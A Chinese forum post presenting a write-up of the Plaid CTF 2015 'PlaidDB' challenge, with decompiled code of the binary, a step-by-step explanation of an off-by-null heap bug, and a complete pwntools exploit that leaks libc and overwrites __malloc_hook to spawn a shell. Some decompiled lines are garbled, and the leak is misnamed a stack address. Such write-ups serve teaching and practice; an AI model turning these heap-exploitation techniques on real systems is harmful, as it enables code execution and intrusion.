R00tkit 发表于 2023-9-1 11:42

Plaid CTF 2015 : PlaidDB

本帖最后由 R00tkit 于 2023-9-22 20:45 编辑


# 前言
这道题有很多细节,不单是经典的off-by-null的题,更是对堆分配过程的一次掌握。有一些细节我没有讲到,大家可以自己调试,弄清每个一堆块的释放分配原因,和它的bins变化。

# 检查文件信息


保护全开,ELF64位小端序程序。


查看编译信息,gcc-4.8.2暂改为glibc2.23。

# 试运行

# 逆向分析
```cpp
/* main */

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
_QWORD *struct_0x38_0x40; // rbx
_QWORD *v4; // rax
char *v5; // rax

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
struct_0x38_0x40 = malloc(0x38uLL); // 主函数结构体
v4 = malloc(8uLL);
if ( v4 )
    *v4 = 0x67346C66336874LL;
*struct_0x38_0x40 = v4;
v5 = (char *)malloc(9uLL);
if ( v5 )
    strcpy(v5, "youwish\n");
struct_0x38_0x40 = v5;
struct_0x38_0x40 = 8LL;
Init_struct(struct_0x38_0x40); // 初始化结构体
puts("INFO: Welcome to the PlaidDB data storage service.");
puts("INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT");
while ( 1 )
    Begin();
}

/* Begin */
unsigned __int64 Begin()
{
bool v0; // zf
const char *v1; // rdi
__int64 v2; // rcx
char *v3; // rsi
const char *v4; // rdi
__int64 v5; // rcx
char *v6; // rsi
const char *v7; // rdi
__int64 v8; // rcx
char *v9; // rsi
const char *v10; // rdi
__int64 v11; // rcx
char *v12; // rsi
const char *v13; // rdi
__int64 v14; // rcx
char *v15; // rsi
char v17; // BYREF
unsigned __int64 v18; //

v18 = __readfsqword(0x28u);
puts("PROMPT: Enter command:");
get_command(v17, 8LL);
v1 = "GET\n";
v2 = 5LL;
v3 = v17;
do
{
    if ( !v2 )
      break;
    v0 = *v3++ == *v1++;
    --v2;
}
while ( v0 );
if ( v0 )
{
    GET(v1, v3);
}
else
{
    v4 = "PUT\n";
    v5 = 5LL;
    v6 = v17;
    do
    {
      if ( !v5 )
      break;
      v0 = *v6++ == *v4++;
      --v5;
    }
    while ( v0 );
    if ( v0 )
    {
      PUT(v4, v6);
    }
    else
    {
      v7 = "DUMP\n";
      v8 = 6LL;
      v9 = v17;
      do
      {
      if ( !v8 )
          break;
      v0 = *v9++ == *v7++;
      --v8;
      }
      while ( v0 );
      if ( v0 )
      {
      DUMP(v7, v9);
      }
      else
      {
      v10 = "DEL\n";
      v11 = 5LL;
      v12 = v17;
      do
      {
          if ( !v11 )
            break;
          v0 = *v12++ == *v10++;
          --v11;
      }
      while ( v0 );
      if ( v0 )
      {
          DEL(v10, v12);
      }
      else
      {
          v13 = "EXIT\n";
          v14 = 6LL;
          v15 = v17;
          do
          {
            if ( !v14 )
            break;
            v0 = *v15++ == *v13++;
            --v14;
          }
          while ( v0 );
          if ( v0 )
            EXIT(v13, v15);
          __printf_chk(1LL, "ERROR: '%s' is not a valid command.\n", v17);
      }
      }
    }
}
return __readfsqword(0x28u) ^ v18;
}

```

```cpp
/* GET 函数,按key值读取数据库 */

__int64 v1; // rbx
int v2; // eax
__int64 v3; // rdx
char *v4; // rcx

puts("PROMPT: Enter row key:");
row_key = get_row_key(); // off-by-null漏洞函数
v1 = qword_203018;
LABEL_2:
if ( v1 )
{
    while ( 1 )
    {
      v2 = strcmp(row_key, *(const char **)v1);
      if ( v2 < 0 )
      {
      v1 = *(_QWORD *)(v1 + 24);
      goto LABEL_2;
      }
      if ( !v2 )
      break;
      v1 = *(_QWORD *)(v1 + 32);
      if ( !v1 )
      goto LABEL_6;
    }
    v3 = *(_QWORD *)(v1 + 8);
    v4 = "s";
    if ( v3 == 1 )
      v4 = "";
    __printf_chk(1LL, "INFO: Row data [%zd byte%s]:\n", v3, v4);
    fwrite(*(const void **)(v1 + 16), 1uLL, *(_QWORD *)(v1 + 8), stdout);
    free(row_key);
}
else
{
LABEL_6:
    puts("ERROR: Row not found.");
    free(row_key);
}
}

```

```cpp
/* PUT函数,存放结构题 */

void PUT()
{
void **row_key; // rbx
unsigned __int64 size; // rax
void *data; // rax
__int64 inited; // rbp
char data_size; // BYREF
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
row_key = (void **)malloc(0x38uLL);
if ( !row_key )
{
    puts("FATAL: Can't allocate a row");
    exit(-1);
}
puts("PROMPT: Enter row key:");
*row_key = get_row_key(); // off-by-null,读取key
puts("PROMPT: Enter data size:");
get_command(data_size, 16LL); // 读取大小
size = strtoul(data_size, 0LL, 0);
row_key = (void *)size; // 保存size
data = malloc(size);
row_key = data; // 保存data
if ( data )
{
    puts("PROMPT: Enter data:");
    read_data(row_key, row_key);
    inited = Init_struct(row_key);
    if ( inited )
    {
      free(*row_key);
      free(*(void **)(inited + 16));
      *(_QWORD *)(inited + 8) = row_key;
      *(_QWORD *)(inited + 16) = row_key;
      free(row_key);
      puts("INFO: Update successful.");
    }
    else
    {
      puts("INFO: Insert successful.");
    }
}
else
{
    puts("ERROR: Can't store that much data.");
    free(*row_key);
    free(row_key);
}
}

```


```cpp
/* DUMP 函数 */

_QWORD *DUMP()
{
_QWORD *result; // rax
_QWORD *v1; // rbx
__int64 v2; // rcx
char *v3; // r8
_QWORD *v4; // rax

puts("INFO: Dumping all rows.");
result = &qword_203018;
v1 = (_QWORD *)qword_203018;
if ( qword_203018 )
{
    while ( v1 )
      v1 = (_QWORD *)v1;
    while ( 1 )
    {
      while ( 1 )
      {
      v2 = v1;
      v3 = "";
      if ( v2 != 1 )
          v3 = "s";
      __printf_chk(1LL, "INFO: Row [%s], %zd byte%s\n", *v1, v2, v3);
      v4 = (_QWORD *)v1;
      if ( !v4 )
          break;
      do
      {
          v1 = v4;
          v4 = (_QWORD *)v4;
      }
      while ( v4 );
      }
      result = (_QWORD *)v1;
      if ( !result || v1 != (_QWORD *)result )
      break;
LABEL_17:
      v1 = result;
    }
    while ( result )
    {
      if ( v1 != (_QWORD *)result )
      goto LABEL_17;
      v1 = result;
      result = (_QWORD *)result;
    }
}
return result;
}

```


```cpp
/* DEL 函数 */

int DEL()
{
char *row_key; // r12
__int64 v1; // rbx
char *v2; // rbp
int v3; // eax
__int64 v5; // rax
__int64 v6; // rcx
__int64 v7; // rsi
__int64 v8; // rsi
__int64 v9; // rsi
__int64 v10; // rcx
__int64 v11; // rdi
__int64 v12; // rax
__int64 v13; // rsi
__int64 v14; // rcx
__int64 v15; // rcx
__int64 v16; // rax
__int64 v17; // rsi
__int64 v18; // rsi
__int64 v19; // rax
__int64 v20; // rcx
__int64 v21; // rsi
__int64 v22; // rcx
__int64 v23; // rsi
__int64 v24; // rsi
__int64 v25; // rdx
int v26; // edi
__int64 v27; // rax
__int64 v28; // rax
__int64 v29; // rax
__int64 v30; // rax
__int64 v31; // rax
__int64 v32; // rax
__int64 v33; // rsi
__int64 v34; // rsi
__int64 v35; // rsi
__int64 v36; // rcx
__int64 v37; // rax
__int64 v38; // rax
__int64 v39; // rax

puts("PROMPT: Enter row key:");
row_key = get_row_key(); // off-by-null
v1 = qword_203018;
LABEL_2:
if ( !v1 )
    return puts("ERROR: Row not found.");
while ( 1 )
{
    v2 = *(char **)v1;
    v3 = strcmp(row_key, *(const char **)v1);
    if ( v3 < 0 )
    {
      v1 = *(_QWORD *)(v1 + 24);
      goto LABEL_2;
    }
    if ( !v3 )
      break;
    v1 = *(_QWORD *)(v1 + 32);
    if ( !v1 )
      return puts("ERROR: Row not found.");
}
v5 = *(_QWORD *)(v1 + 24);
if ( v5 )
{
    v6 = *(_QWORD *)(v1 + 32);
    if ( v6 )
    {
      while ( *(_QWORD *)(v6 + 24) )
      v6 = *(_QWORD *)(v6 + 24);
      v5 = *(_QWORD *)(v6 + 32);
      v25 = *(_QWORD *)(v6 + 40);
      v26 = *(_DWORD *)(v6 + 48);
      if ( v5 )
      *(_QWORD *)(v5 + 40) = v25;
      v7 = *(_QWORD *)(v6 + 40);
      if ( v25 )
      {
      if ( v6 == *(_QWORD *)(v25 + 24) )
          *(_QWORD *)(v25 + 24) = v5;
      else
          *(_QWORD *)(v25 + 32) = v5;
      }
      else
      {
      qword_203018 = v5;
      }
      if ( v1 == v7 )
      v25 = v6;
      *(_QWORD *)(v6 + 24) = *(_QWORD *)(v1 + 24);
      *(_QWORD *)(v6 + 32) = *(_QWORD *)(v1 + 32);
      *(_QWORD *)(v6 + 40) = *(_QWORD *)(v1 + 40);
      *(_QWORD *)(v6 + 48) = *(_QWORD *)(v1 + 48);
      v8 = *(_QWORD *)(v1 + 40);
      if ( v8 )
      {
      if ( *(_QWORD *)(v8 + 24) == v1 )
          *(_QWORD *)(v8 + 24) = v6;
      else
          *(_QWORD *)(v8 + 32) = v6;
      }
      else
      {
      qword_203018 = v6;
      }
      *(_QWORD *)(*(_QWORD *)(v1 + 24) + 40LL) = v6;
      v9 = *(_QWORD *)(v1 + 32);
      if ( v9 )
      *(_QWORD *)(v9 + 40) = v6;
      if ( v25 )
      {
      v10 = v25;
      do
          v10 = *(_QWORD *)(v10 + 40);
      while ( v10 );
      }
      goto LABEL_28;
    }
    v25 = *(_QWORD *)(v1 + 40);
    v26 = *(_DWORD *)(v1 + 48);
}
else
{
    v5 = *(_QWORD *)(v1 + 32);
    v25 = *(_QWORD *)(v1 + 40);
    v26 = *(_DWORD *)(v1 + 48);
    if ( !v5 )
      goto LABEL_64;
}
*(_QWORD *)(v5 + 40) = v25;
LABEL_64:
if ( v25 )
{
    if ( *(_QWORD *)(v25 + 24) == v1 )
      *(_QWORD *)(v25 + 24) = v5;
    else
      *(_QWORD *)(v25 + 32) = v5;
}
else
{
    qword_203018 = v5;
}
LABEL_28:
if ( v26 )
    goto LABEL_29;
v11 = qword_203018;
while ( 1 )
{
    if ( v5 && *(_DWORD *)(v5 + 48) )
    {
      qword_203018 = v11;
      goto LABEL_69;
    }
    if ( v5 == v11 )
    {
      qword_203018 = v5;
      goto LABEL_68;
    }
    v15 = *(_QWORD *)(v25 + 24);
    if ( v15 != v5 )
    {
      if ( *(_DWORD *)(v15 + 48) == 1 )
      {
      v16 = *(_QWORD *)(v15 + 32);
      *(_DWORD *)(v15 + 48) = 0;
      *(_DWORD *)(v25 + 48) = 1;
      *(_QWORD *)(v25 + 24) = v16;
      if ( v16 )
          *(_QWORD *)(v16 + 40) = v25;
      v17 = *(_QWORD *)(v25 + 40);
      *(_QWORD *)(v15 + 40) = v17;
      if ( v17 )
      {
          v18 = *(_QWORD *)(v25 + 40);
          if ( v25 == *(_QWORD *)(v18 + 24) )
          {
            *(_QWORD *)(v18 + 24) = v15;
            v16 = *(_QWORD *)(v25 + 24);
          }
          else
          {
            *(_QWORD *)(v18 + 32) = v15;
          }
      }
      else
      {
          v11 = v15;
      }
      *(_QWORD *)(v15 + 32) = v25;
      *(_QWORD *)(v25 + 40) = v15;
      v15 = v16;
      }
      v12 = *(_QWORD *)(v15 + 24);
      if ( v12 && *(_DWORD *)(v12 + 48) )
      {
      qword_203018 = v11;
      }
      else
      {
      v13 = *(_QWORD *)(v15 + 32);
      if ( !v13 || !*(_DWORD *)(v13 + 48) )
      {
          *(_DWORD *)(v15 + 48) = 1;
          v14 = *(_QWORD *)(v25 + 40);
          goto LABEL_36;
      }
      qword_203018 = v11;
      if ( !v12 || !*(_DWORD *)(v12 + 48) )
      {
          v30 = *(_QWORD *)(v13 + 24);
          *(_DWORD *)(v13 + 48) = 0;
          *(_DWORD *)(v15 + 48) = 1;
          *(_QWORD *)(v15 + 32) = v30;
          if ( v30 )
            *(_QWORD *)(v30 + 40) = v15;
          v31 = *(_QWORD *)(v15 + 40);
          *(_QWORD *)(v13 + 40) = v31;
          if ( v31 )
          {
            v32 = *(_QWORD *)(v15 + 40);
            if ( *(_QWORD *)(v32 + 24) == v15 )
            *(_QWORD *)(v32 + 24) = v13;
            else
            *(_QWORD *)(v32 + 32) = v13;
          }
          else
          {
            qword_203018 = v13;
          }
          *(_QWORD *)(v13 + 24) = v15;
          *(_QWORD *)(v15 + 40) = v13;
          v15 = *(_QWORD *)(v25 + 24);
          v12 = *(_QWORD *)(v15 + 24);
          *(_DWORD *)(v15 + 48) = *(_DWORD *)(v25 + 48);
          *(_DWORD *)(v25 + 48) = 0;
          if ( !v12 )
            goto LABEL_79;
          goto LABEL_78;
      }
      }
      *(_DWORD *)(v15 + 48) = *(_DWORD *)(v25 + 48);
      *(_DWORD *)(v25 + 48) = 0;
LABEL_78:
      *(_DWORD *)(v12 + 48) = 0;
LABEL_79:
      v27 = *(_QWORD *)(v15 + 32);
      *(_QWORD *)(v25 + 24) = v27;
      if ( v27 )
      *(_QWORD *)(v27 + 40) = v25;
      v28 = *(_QWORD *)(v25 + 40);
      *(_QWORD *)(v15 + 40) = v28;
      if ( v28 )
      {
      v29 = *(_QWORD *)(v25 + 40);
      if ( v25 == *(_QWORD *)(v29 + 24) )
          *(_QWORD *)(v29 + 24) = v15;
      else
          *(_QWORD *)(v29 + 32) = v15;
      v5 = qword_203018;
      }
      else
      {
      qword_203018 = v15;
      v5 = v15;
      }
      *(_QWORD *)(v15 + 32) = v25;
      *(_QWORD *)(v25 + 40) = v15;
      goto LABEL_68;
    }
    v19 = *(_QWORD *)(v25 + 32);
    if ( *(_DWORD *)(v19 + 48) == 1 )
    {
      v22 = *(_QWORD *)(v19 + 24);
      *(_DWORD *)(v19 + 48) = 0;
      *(_DWORD *)(v25 + 48) = 1;
      *(_QWORD *)(v25 + 32) = v22;
      if ( v22 )
      *(_QWORD *)(v22 + 40) = v25;
      v23 = *(_QWORD *)(v25 + 40);
      *(_QWORD *)(v19 + 40) = v23;
      if ( v23 )
      {
      v24 = *(_QWORD *)(v25 + 40);
      if ( v25 == *(_QWORD *)(v24 + 24) )
      {
          *(_QWORD *)(v24 + 24) = v19;
      }
      else
      {
          *(_QWORD *)(v24 + 32) = v19;
          v22 = *(_QWORD *)(v25 + 32);
      }
      }
      else
      {
      v11 = v19;
      }
      *(_QWORD *)(v19 + 24) = v25;
      *(_QWORD *)(v25 + 40) = v19;
      v19 = v22;
    }
    v20 = *(_QWORD *)(v19 + 24);
    if ( v20 )
    {
      if ( *(_DWORD *)(v20 + 48) )
      break;
    }
    v21 = *(_QWORD *)(v19 + 32);
    if ( v21 && *(_DWORD *)(v21 + 48) )
    {
      qword_203018 = v11;
LABEL_119:
      v36 = *(_QWORD *)(v25 + 32);
      *(_DWORD *)(v19 + 48) = *(_DWORD *)(v25 + 48);
      *(_DWORD *)(v25 + 48) = 0;
      goto LABEL_109;
    }
    *(_DWORD *)(v19 + 48) = 1;
    v14 = *(_QWORD *)(v25 + 40);
LABEL_36:
    v5 = v25;
    v25 = v14;
}
v21 = *(_QWORD *)(v19 + 32);
qword_203018 = v11;
if ( v21 && *(_DWORD *)(v21 + 48) )
    goto LABEL_119;
v33 = *(_QWORD *)(v20 + 32);
*(_DWORD *)(v20 + 48) = 0;
*(_DWORD *)(v19 + 48) = 1;
*(_QWORD *)(v19 + 24) = v33;
if ( v33 )
    *(_QWORD *)(v33 + 40) = v19;
v34 = *(_QWORD *)(v19 + 40);
*(_QWORD *)(v20 + 40) = v34;
if ( v34 )
{
    v35 = *(_QWORD *)(v19 + 40);
    if ( v19 == *(_QWORD *)(v35 + 24) )
      *(_QWORD *)(v35 + 24) = v20;
    else
      *(_QWORD *)(v35 + 32) = v20;
}
else
{
    qword_203018 = v20;
}
*(_QWORD *)(v20 + 32) = v19;
*(_QWORD *)(v19 + 40) = v20;
v36 = *(_QWORD *)(v25 + 32);
v21 = *(_QWORD *)(v36 + 32);
*(_DWORD *)(v36 + 48) = *(_DWORD *)(v25 + 48);
*(_DWORD *)(v25 + 48) = 0;
if ( v21 )
LABEL_109:
    *(_DWORD *)(v21 + 48) = 0;
v37 = *(_QWORD *)(v36 + 24);
*(_QWORD *)(v25 + 32) = v37;
if ( v37 )
    *(_QWORD *)(v37 + 40) = v25;
v38 = *(_QWORD *)(v25 + 40);
*(_QWORD *)(v36 + 40) = v38;
if ( v38 )
{
    v39 = *(_QWORD *)(v25 + 40);
    if ( v25 == *(_QWORD *)(v39 + 24) )
      *(_QWORD *)(v39 + 24) = v36;
    else
      *(_QWORD *)(v39 + 32) = v36;
    v5 = qword_203018;
}
else
{
    qword_203018 = v36;
    v5 = v36;
}
*(_QWORD *)(v36 + 24) = v25;
*(_QWORD *)(v25 + 40) = v36;
LABEL_68:
if ( !v5 )
    goto LABEL_29;
LABEL_69:
*(_DWORD *)(v5 + 48) = 0;
LABEL_29:
free(v2);
free(*(void **)(v1 + 16));
free((void *)v1);
free(row_key);
return puts("INFO: Delete successful."); // UAF
}

```
```cpp
/* get_row_key 漏洞函数 */
char *get_row_key()
{
char *start_line; // r12
char *end_line; // rbx
size_t size_true; // r14
char v3; // al
char v4; // bp
__int64 diff; // r13
char *new_line; // rax

start_line = (char *)malloc(8uLL);
end_line = start_line;
size_true = malloc_usable_size(start_line);
while ( 1 )
{
    v3 = _IO_getc(stdin);
    v4 = v3;
    if ( v3 == -1 )
      EXIT();
    if ( v3 == '\n' )
      break;
    diff = end_line - start_line;
    if ( size_true <= end_line - start_line )
    {
      new_line = (char *)realloc(start_line, 2 * size_true); // 扩展原来可用大小的两倍
      start_line = new_line;
      if ( !new_line )
      {
      puts("FATAL: Out of memory");
      exit(-1);
      }
      end_line = &new_line;
      size_true = malloc_usable_size(new_line);
    }
    *end_line++ = v4;
}
*end_line = 0;                              // off-by-null
return start_line;
}
```

不难这是一个简单的nosql数据库,根据PUT函数推导出其初始化前结构体。
# 漏洞利用
通过off-by-null漏洞制造overlapping,然后通过切割制造unsorted bin attack通过GET泄露栈地址,通过overlapping向fast bin中的chunk_fd写入一个fake_fast_below_malloc_hook。申请时改写__malloc_hook为one_gadget再去随意申请一个chunk即可。

## 前置脚本
```python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'

p = process('./datastore')
elf = ELF('./datastore')
libc = ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")


is_debug = 1

def debug():
    if is_debug:
      gdb.attach(p)
      pause()
    else:
      pass

def GET(row_key):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"GET")
    p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)

def PUT(row_key, size, data):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"PUT")
    p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)
    p.sendlineafter(b'PROMPT: Enter data size:\n', str(size).encode())
    if(len(data) < size):
      data = data.ljust(size, b'\x00')
    p.sendafter(b'PROMPT: Enter data:\n', data)

def DUMP():
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"DUMP")

def DEL(row_key):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"DEL")
    p.sendlineafter(b"PROMPT: Enter row key:\n", row_key)

def EXIT():
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"EXIT")

```


## diff
```python

def diff():
    ''' 因为每个功能函数都用到了0x38chunk, 所以我们先构造一些, 隔离一下我们的chunk '''
    for i in range(10):
      PUT(str(i).encode(), 0x38, b'a' * 0x18)
    for i in range(10):
      DEL(str(i).encode())
```

为了避免程序中频繁申请的0x21和0x41大小的chunk影响我们构造的堆块,我们提前申请些堆块放进fast bin隔离我们的chunk。

## overlapping
```python
def overlapping():
    PUT(b'x', 0x200, b'x' * 0x200)
    PUT(b'fast', 0x68, b'fast')
    PUT(b'fast2', 0x68, b'fast2')
    PUT(b'a', 0x1f8, b'a' * 0x18)
    PUT(b'b', 0xf0, b'b' * 0x18)
    debug() # 1
    PUT(b'defense', 0x400, b'defense-data')# 防止top bin的影响
    debug() # 2

    DEL(b'a')
    DEL(b'x')
    debug() # 3
    DEL(b'1' * 0x1f0 + p64(0x4f0))# 对b的pre_size域和prev_inuse进行覆盖
    debug() # 3
    DEL(b'b')
    debug() # 4

```


debug_1

这是我们构造的堆块。此时堆中有很多相邻的被释放的free_chunk。我们申请一个large bin chunk后会将其合并,并送进unsorted bin,unsorted bin整理后送入对应bins。

debug_2
此时堆中free_chunk整理完毕,堆中的小堆块(0x21, 0x41)还剩下我们主函数的结构体,和large bin申请前,尚未被释放row_key(0x41)和get_row_key函数中申请的0x21堆块。我们构造的堆块被连在了一起,当堆中小堆块被释放时,我们后续操作申请的小堆块将从fast binY申请,不会影响我们对构造堆块的操作。

debug_3
我们将`'a'_0x201`, `'x'_0x211`释放后,堆中布局如上。此时如果我们输入一个`0x1f8`的get_row_key(DEL),因为get_row_key都是计算的可用大小,所以我们会溢出一个null,并且这个realloc的堆块会申请到`'a'_0x201`这个堆块,并修改下一个堆块`'b'_0x100`的prev_size,当然也修改了PREV_INUSE位,虽然它已经是0了。当然这个删除的key并不存在,也不会影响我们的操作。


debug_4
此时`'b'_0x100`的prev_size已被修改为0x4f0,也就是0x210+0x70+0x70+0x200大小。删除`'b'_0x100`,ptmalloc2检测到当前地址到低`prev_size_0x4f0`处的`chunk_'x'_0x210`也是个free_chunk,便会进行合并,把我们的in_use_chunk也并到了里面。

debug_5
可以看到,此时我们的in_use_chunk_'fast'&'fast2'也被放进了free_chunk这个大堆块里。

## get_libc_base
```python
def get_libc_base():
    global libc_base
    PUT(b'0x200', 0x200, b'0x200')
    debug() # 6
    PUT(b'0x200plus', 0x200, b'0x200')
    debug() # 7
    GET(b'fast')
    p.recvuntil(b']:\n')
    leak = u64(p.recv(8).ljust(8, b'\x00'))
    libc_base = leak-0x3c4b78

```


debug_6
我们申请0x200大小的chunk,会先去small bin中寻找大小一致的chunk,但small中仅有0x360大小的chunk,接下来就会去整理fast bin和unsorted bin并放进对应的small bin或者large bin。此时也就将我们的大堆块放入了large bin。接下来遍历过程中,发现small bin中存在last remainder,将其差分,剩下的chunk_0x151放进unsorted bin。

debug_7

接下来的再次申请0x200大小的chunk时,还是会去small寻找,无果后寻找unsorted,也无果,将unsorted bin中的chunk放进对应的bins,接下来从下一个bin中寻找,取出我们构造的大堆块,切分,然后将remainder放进unsorted bin。也就是现在的堆结构。

而我们申请0x200将0x210大小的chunk_'x'摘除以后,剩下的chunk头正好是我们的'fast',此时我们并未将fast释放掉,我们可以通过GET("fast")将它的fd指针打印出来,便得到了栈地址(main_arena+0x58),减去其偏移就得到了栈的基址。

## getshell
```python
def get_shell():
    DEL(b'fast2')
    PUT(b'0x68+0x68', 0x100, b'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x13))
    debug() # 8
    PUT(b'pre', 0x68, b'aa')
    one_gadget_offset = 0x4527a
    one_gadget = one_gadget_offset+libc_base
    PUT(b'attack', 0x68, b'a'*3+p64(one_gadget))
    debug() # 9
    GET(b'fast')

```


debug_8

我们将fast2放进fast bin中,然后申请一个足够覆盖fast2_fd位置的chunk_0x111,这个chunk会从我们构造的堆申请,然后将fast2_fd位置改为__malloc_hook附近符合条件的fake_chunk位置。那么我们申请两次就会申请到fake_chunk位置。


debug_9
我们通过计算,申请时填写0x13-0x10(fd_bk)的偏移,然后在__malloc_hook处写入one_gadget地址。然后随便申请一个堆块即可get_shell。

getshell
## 完整exp
```python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'

p = process('./datastore')
elf = ELF('./datastore')
libc = ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

is_debug = 1

def debug():
    if is_debug:
      gdb.attach(p)
      pause()
    else:
      pass

def GET(row_key):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"GET")
    p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)

def PUT(row_key, size, data):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"PUT")
    p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)
    p.sendlineafter(b'PROMPT: Enter data size:\n', str(size).encode())
    if(len(data) < size):
      data = data.ljust(size, b'\x00')
    p.sendafter(b'PROMPT: Enter data:\n', data)

def DUMP():
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"DUMP")

def DEL(row_key):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"DEL")
    p.sendlineafter(b"PROMPT: Enter row key:\n", row_key)

def EXIT():
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"EXIT")

def diff():
    ''' 因为每个功能函数都用到了0x38chunk, 所以我们先构造一些, 隔离一下我们的chunk '''
    for i in range(10):
      PUT(str(i).encode(), 0x38, b'a' * 0x18)
    for i in range(10):
      DEL(str(i).encode())

def overlapping():
    PUT(b'x', 0x200, b'x' * 0x200)
    PUT(b'fast', 0x68, b'fast')
    PUT(b'fast2', 0x68, b'fast2')
    PUT(b'a', 0x1f8, b'a' * 0x18)
    PUT(b'b', 0xf0, b'b' * 0x18)
    debug()
    PUT(b'defense', 0x400, b'defense-data')# 防止top bin的影响
    debug()

    DEL(b'a')
    DEL(b'x')
    debug()
    DEL(b'1' * 0x1f0 + p64(0x4f0))# 对b的pre_size域和prev_inuse进行覆盖
    debug()
    DEL(b'b')
    debug()

def get_libc_base():
    global libc_base
    PUT(b'0x200', 0x200, b'0x200')
    debug()
    PUT(b'0x200plus', 0x200, b'0x200')
    debug()
    GET(b'fast')
    p.recvuntil(b']:\n')
    leak = u64(p.recv(8).ljust(8, b'\x00'))
    libc_base = leak-0x3c4b78

def get_shell():
    DEL(b'fast2')
    debug()
    PUT(b'0x68+0x68', 0x100, b'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x13))
    debug()
    PUT(b'pre', 0x68, b'aa')
    debug()
    one_gadget_offset = 0x4527a
    one_gadget = one_gadget_offset+libc_base
    PUT(b'attack', 0x68, b'a'*3+p64(one_gadget))
    debug()
    GET(b'fast')

def pwn():
    diff()
    overlapping()
    get_libc_base()
    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()

```

mmattic 发表于 2023-9-1 12:21

谢谢分享~~~~~~~

moruye 发表于 2023-9-2 21:08

页: [1]
查看完整版本: Plaid CTF 2015 : PlaidDB